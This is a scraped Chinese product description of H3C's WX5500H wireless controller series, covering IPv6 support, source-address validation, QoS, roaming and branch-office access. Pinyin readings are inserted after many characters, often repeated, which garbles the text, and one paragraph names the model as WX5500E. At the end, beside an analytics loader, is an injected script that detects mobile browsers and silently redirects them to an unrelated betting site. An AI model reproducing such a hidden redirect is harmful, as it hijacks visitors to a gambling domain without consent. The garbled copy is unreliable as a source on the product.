WX5500H系(xi)列无(wu)线(xian)控制器(qi)同样可(ke)以部署(shu)在(zai)(zai)(zai)IPv6网(wang)(wang)络(luo)(luo)中(zhong),AC和AP之间(jian)自动协商成IPv6隧道(dao)。AC和AP完(wan)全工作(zuo)在(zai)(zai)(zai)IPv6状态时,无(wu)线(xian)控制器(qi)仍能(neng)(neng)正确地感知IPv4,并能(neng)(neng)处理无(wu)线(xian)客户(hu)的(de)(de)IPv4报文。WX5500H系(xi)列无(wu)线(xian)控制器(qi)IPv4/6灵(ling)活的(de)(de)适应能(neng)(neng)力,能(neng)(neng)满(man)足客户(hu)在(zai)(zai)(zai)IPv4到IPv6网(wang)(wang)络(luo)(luo)迁移中(zhong)的(de)(de)各种复杂的(de)(de)应用(yong),既能(neng)(neng)在(zai)(zai)(zai)IPv6孤(gu)岛中(zhong)给(ji)客户(hu)提供IPv4的(de)(de)服务,同时也(ye)能(neng)(neng)在(zai)(zai)(zai)IPv4孤(gu)岛中(zhong)让(rang)用(yong)户(hu)轻松通过IPv6协议登录到网(wang)(wang)络(luo)(luo)。

针对校(xiao)园网层出不穷的(de)IPv6伪造报文攻(gong)击,WX5500H系列(lie)无线(xian)控制器支(zhi)持IPv6SAVI(Source AddressValidation,源(yuan)地(di)(di)址(zhi)(zhi)有效性(xing)(xing)验(yan)证)技(ji)术(shu)。通过(guo)对地(di)(di)址(zhi)(zhi)分(fen)配协议的(de)侦听获(huo)取用(yong)户的(de)IP地(di)(di)址(zhi)(zhi),保证随(sui)后的(de)应用(yong)中(zhong)能够使(shi)用(yong)正确地(di)(di)址(zhi)(zhi)上网,且不可伪造他人(ren)IP地(di)(di)址(zhi)(zhi),保证了(le)源(yuan)地(di)(di)址(zhi)(zhi)的(de)可靠性(xing)(xing)。同时,通过(guo)IPv6SAVI和Portal技(ji)术(shu)的(de)结合(he),进一步保证了(le)所有上网用(yong)户报文的(de)真实性(xing)(xing)和安全性(xing)(xing)。

提供端到端的QoS

WX5500H系列无线控(kong)制器基于(yu)新(xin)一代V7系统开发,不但(dan)对Diff-Serv标准完善支持(chi),同时增(zeng)加了对IPv6协议的(de)QoS支持(chi)。

QoSDiff-Serv模型中主要(yao)包(bao)括流分类、流量(liang)监管(Policing)、队(dui)列管理、队(dui)列调度(Scheduling)等,完整实现了标(biao)准中定义的EF、AF1~AF4、BE等六组PHB及(ji)业务,使(shi)网络运营商(shang)可为用(yong)户提供(gong)具有不同服(fu)(fu)务质量(liang)等级的服(fu)(fu)务保证,使(shi)Internet真(zhen)正成(cheng)为同时(shi)承载数据、语音和视(shi)频业务的综(zong)合网络。

支持快速的二、三层漫游

H3C公司的(de)(de)集中(zhong)式(shi)无线(xian)架构不(bu)但能(neng)方便地实施二层(ceng)漫(man)(man)游(you)(you),而(er)且(qie)非(fei)常(chang)有(you)利于跨(kua)(kua)三层(ceng)的(de)(de)漫(man)(man)游(you)(you)实现(xian),用Fat AP部(bu)署的(de)(de)WLAN网(wang)络,由于AP之间传递的(de)(de)信息(xi)有(you)限(xian),导致垮三层(ceng)的(de)(de)漫(man)(man)游(you)(you)实现(xian)及其麻烦,集中(zhong)式(shi)架构非(fei)常(chang)容易解决跨(kua)(kua)三层(ceng)漫(man)(man)游(you)(you)的(de)(de)问题,WX5500H系(xi)列无线(xian)控制器支持二、三层(ceng)漫(man)(man)游(you)(you),漫(man)(man)游(you)(you)域不(bu)受(shou)子网(wang)的(de)(de)限(xian)制。这(zhei)种优(you)秀(xiu)的(de)(de)漫(man)(man)游(you)(you)特性,可以让(rang)客户(hu)在规划(hua)无线(xian)网(wang)络时(shi),无需过多(duo)考(kao)虑现(xian)有(you)网(wang)络的(de)(de)规划(hua),更多(duo)关注在无线(xian)信号的(de)(de)覆盖即可,这(zhei)种方式(shi)大大简化(hua)了(le)前期的(de)(de)网(wang)络规划(hua),减少了(le)网(wang)络规划(hua)成本。

传统(tong)模式(shi)下,当无(wu)线用(yong)户(hu)(hu)(hu)(hu)(hu)(hu)终(zhong)端(duan)(duan)(duan)使(shi)用(yong)802.1x作(zuo)为802.11接入认(ren)证和密钥交(jiao)互(hu)(hu)的(de)(de)手段时,无(wu)线用(yong)户(hu)(hu)(hu)(hu)(hu)(hu)终(zhong)端(duan)(duan)(duan)和AP间(jian)(jian)(jian)的(de)(de)交(jiao)互(hu)(hu)报文会(hui)非常的(de)(de)多。当无(wu)线用(yong)户(hu)(hu)(hu)(hu)(hu)(hu)终(zhong)端(duan)(duan)(duan)在两(liang)(liang)个AP间(jian)(jian)(jian)漫(man)游(you)(you)(you)时,如(ru)果无(wu)线用(yong)户(hu)(hu)(hu)(hu)(hu)(hu)终(zhong)端(duan)(duan)(duan)在新AP接入的(de)(de)过(guo)程(cheng)完(wan)全遵(zun)从(cong)完(wan)整的(de)(de)802.1x的(de)(de)交(jiao)互(hu)(hu)过(guo)程(cheng),势(shi)必(bi)造(zao)成漫(man)游(you)(you)(you)切(qie)(qie)换(huan)的(de)(de)时间(jian)(jian)(jian)过(guo)长,对于某(mou)些(xie)对漫(man)游(you)(you)(you)切(qie)(qie)换(huan)时间(jian)(jian)(jian)敏感的(de)(de)业(ye)务(例如(ru)语(yu)音业(ye)务),这样的(de)(de)长切(qie)(qie)换(huan)时间(jian)(jian)(jian)是无(wu)法忍(ren)受的(de)(de)。WX5500E系列无(wu)线控制器采用(yong)Keycaching技术完(wan)成漫(man)游(you)(you)(you)时用(yong)户(hu)(hu)(hu)(hu)(hu)(hu)的(de)(de)快(kuai)速(su)切(qie)(qie)换(huan),Keycaching技术在用(yong)户(hu)(hu)(hu)(hu)(hu)(hu)的(de)(de)安全接入和快(kuai)速(su)漫(man)游(you)(you)(you)间(jian)(jian)(jian)做了(le)一(yi)个很好的(de)(de)平(ping)衡(heng),可以使(shi)无(wu)线用(yong)户(hu)(hu)(hu)(hu)(hu)(hu)终(zhong)端(duan)(duan)(duan)在两(liang)(liang)个AP间(jian)(jian)(jian)进(jin)行漫(man)游(you)(you)(you)时不必(bi)重新进(jin)行完(wan)整的(de)(de)802.1x认(ren)证交(jiao)互(hu)(hu)过(guo)程(cheng),同时又能保证用(yong)户(hu)(hu)(hu)(hu)(hu)(hu)身份的(de)(de)识别和密钥使(shi)用(yong)的(de)(de)连续(xu)性;无(wu)线用(yong)户(hu)(hu)(hu)(hu)(hu)(hu)采用(yong)快(kuai)速(su)漫(man)游(you)(you)(you)方式(shi),单AC内(nei)漫(man)游(you)(you)(you)时间(jian)(jian)(jian)不超过(guo)50ms,满足(zu)了(le)语(yu)音业(ye)务的(de)(de)苛刻需求。

支持多种分支机构远程接入场景

  • 当AC和AP通过(guo)广域网链路进行连接时,用户可(ke)以(yi)灵活(huo)选择集中转发或本地转发模式(shi),提升分支(zhi)机构局域网打印(yin)访问、终(zhong)端互访等业务性(xing)能(neng)。

  • 当广(guang)域网链路发生(sheng)故(gu)障或(huo)AC发生(sheng)故(gu)障时,在线用户不(bu)掉线,可以继续访(fang)问(wen)本地(di)资源,并且可支持AC逃(tao)生(sheng)功能。

  • 当分支机构AP部(bu)署(shu)于私网内时,AC可以(yi)穿越NAT与(yu)AP进行通信。

var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();